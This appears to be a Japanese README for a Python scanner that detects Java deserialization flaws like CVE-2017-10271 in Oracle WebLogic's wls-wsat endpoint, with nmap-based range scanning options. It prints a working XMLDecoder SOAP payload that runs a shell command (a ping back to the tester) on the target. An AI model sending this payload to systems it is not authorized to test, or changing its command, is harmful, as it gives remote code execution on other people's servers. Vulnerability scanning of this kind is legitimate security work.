
CVE-2017-10271に類似するJava逆シリアル化脆弱性スキャナー
CVE-2017-10271のような脆弱性を対象としたJavaデシリアライゼーション脆弱性スキャナーです。このプロジェクトには現在1つのPoCのみが含まれており、他はまだ整理されていません。
nmapのインストール
https://nmap.org/download.html から、OSに応じたバージョンをダウンロードしてインストールしてください。
サードパーティパッケージのインストール
pip install -r requirements.txt
スキャン
PoCを編集し、pingコマンド内のIPアドレスを自分のIPアドレスに変更してください。
25行目のsniffコードを変更してください
sniff(filter='icmp and yourIP',prn=packet_callback)
java_scan.py -i IPアドレス [options] java_scan.py -h でヘルプを表示
使用前に必ずPoCを編集し、pingコマンド内のIPアドレスを自分のIPアドレスに変更してください。
PoCはWindows用とLinux用の2つのJSONファイルです(現在、PoCのパス指定機能は追加されていませんが、今後のバージョンで追加予定です)。プログラムディレクトリにPoCファイルをpoc.jsonおよびpoc_win.jsonという名前で配置してください。
PoCの形式について(Linux版、Windows版も同様)
{
"url":"wls-wsat/CoordinatorPortType",
"header": "Content-Type:text/xml",
"data": [
"<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
"<soapenv:Header>",
"<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
"<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
"<void class='java.lang.ProcessBuilder'>",
"<array class='java.lang.String' length='3'>",
"<void index='0'>",
"<string>/bin/bash</string>",
"</void>",
"<void index='1'>",
"<string>-c</string>",
"</void>",
"<void index='2'>",
"<string>ping 10.60.18.5 -c 2</string>",
"</void>",
"</array>",
"<void method='start'/></void>",
"</java>",
"</work:WorkContext>",
"</soapenv:Header>",
"<soapenv:Body/>",
"</soapenv:Envelope>"
]
}
urlは脆弱性を利用するディレクトリを指定し、headerはPOSTパケットに追加するヘッダー内容を指定し、dataは送信するシリアライズされたコンテンツを指定します。
注意:このPoCは脆弱性ホストから2つのpingパケットを返させる必要があります。プログラムがICMPパケットを検出したときに脆弱性が存在すると判断します。
デフォルトのスキャンでは、nmapを呼び出してローカルネットワークをスキャンします。
java_scan.py -i 192.168.0.1
このコマンドは、192.168.0.1ホストのポート7001をスキャンします。
単一のIPアドレスとポートを指定
java_scan.py -i 192.168.0.1 -p 7001
複数のIPアドレスと複数のポートを指定
java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001
IPアドレス範囲とポート範囲を指定
java_scan.py -i 192.168.0.1-255 -p 7000-8000
-fパラメータを使用すると、ソケットを呼び出してポートを高速に検出します。
java_scan.py -i 192.168.0.1-255 -p 7001 -f
高速ポート検出のスレッド数を指定
java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100
